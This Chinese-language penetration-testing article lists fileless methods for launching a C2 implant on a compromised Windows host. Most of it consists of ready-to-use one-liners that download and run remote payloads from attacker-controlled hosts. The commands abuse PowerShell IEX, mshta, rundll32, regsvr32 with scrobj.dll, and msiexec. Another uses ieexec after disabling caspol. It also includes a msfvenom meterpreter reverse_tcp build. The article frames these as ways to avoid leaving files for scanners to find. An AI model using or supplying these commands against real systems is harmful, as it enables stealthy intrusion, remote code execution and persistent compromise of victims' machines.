{ }
图片
前言在我们渗透过程中,当getshell或者能够执行命令后需要上线C2时,一般是执行下载(或上传)将文件写入目标服务器后执行。这种方式会留下一个二进制文件可能会被扫描查杀。
而通过一些系统或组件自带命令进行文件不落地执行,这种方式不会留下二进制文件,更具有隐蔽性。本文将列举一些文件不落地的命令方法。
powershell在win7/2008开始引入的一种跨平台的任务自动化解决方案,由命令行 shell、脚本语言和配置管理框架组成。powershell功能十分强大。一行命令即可直接执行远程文件。文件路径:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
支持系统: >= win7/win2008
用法:
powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/test.ps1'))'图片
mshtamshta.exe是Windows操作系统内置程序,用于执行.hta文件(HTML应用程序)
文件路径:
C:\Windows\System32\mshta.exe
支持系统: win7-win11
用法:
vbscript:Close(Execute('GetObject(''script:http://webserver/payload.sct'')')) mshta http://webserver/payload.hta /cmd /c mshta.exe javascript:a(GetObject('script:http://1.1.1.1/m.sct')).Exec();close();
图片
rundll32Rundll32.exe是win系统非常重要的核心程序。它的作用是执行DLL文件,在命令行下调用动态链接程序库。系统中还有一个Rundll64.exe文件,它的意思是'执行64位的DLL文件',这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介
文件路径:
C:\Windows\System32\rundll32.exe
支持系统: win7 -win11
用法:
远程加载:C:\Windows\SysWOW64\rundll32.exe javascript:'\..\mshtml,RunHTMLApplication';document.write();GetObject('script:http://192.168.1.4/Rundll32_shellcode'执行远程文件
图片
图片
Regsvr32Regsvr32是用于注册COM组件,Windows 命令行下提供的注册控件或者卸载控件的命令
文件路径:
C:\Windows\System32\Regsvr32.exe
支持系统: win7 -win11
用法:
regsvr32 /u /n /s /i:http://192.168.173.45:8800/file.sct scrobj.dll
图片
图片
Msiexec.exewin核心应用,用于安装msi包。是Windows Installer的一部分。
文件路径:
C:\Windows\System32\msiexec.exe
支持系统: win7 -win11
用法:
msiexec.exe /q /i http://192.168.173.45/test.msimsfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.14.1 -f msi > test.msi msiexec.exe /q /i http://192.168.173.45/test.msi
图片
IEexecIEexec.exe是.NET Framework附带程序,.NET框架在win系统自带。而同目录下的Csc.exe就是C#的语言编译器文件路径:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
支持系统: win7 -win11
用法:
cd C:\Windows\Microsoft.NET\Framework64\v2.0.50727 caspol -s off ieexec http://ip:8080/test.exe总结这里只列举了一些常用不落地执行方法,当然还有很多方法比如利用特定版本中组件的方法。使用这些方法需要满足出网条件,实战中还是需要开阔思路,找到现有场景中的缺陷才能bypass
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报。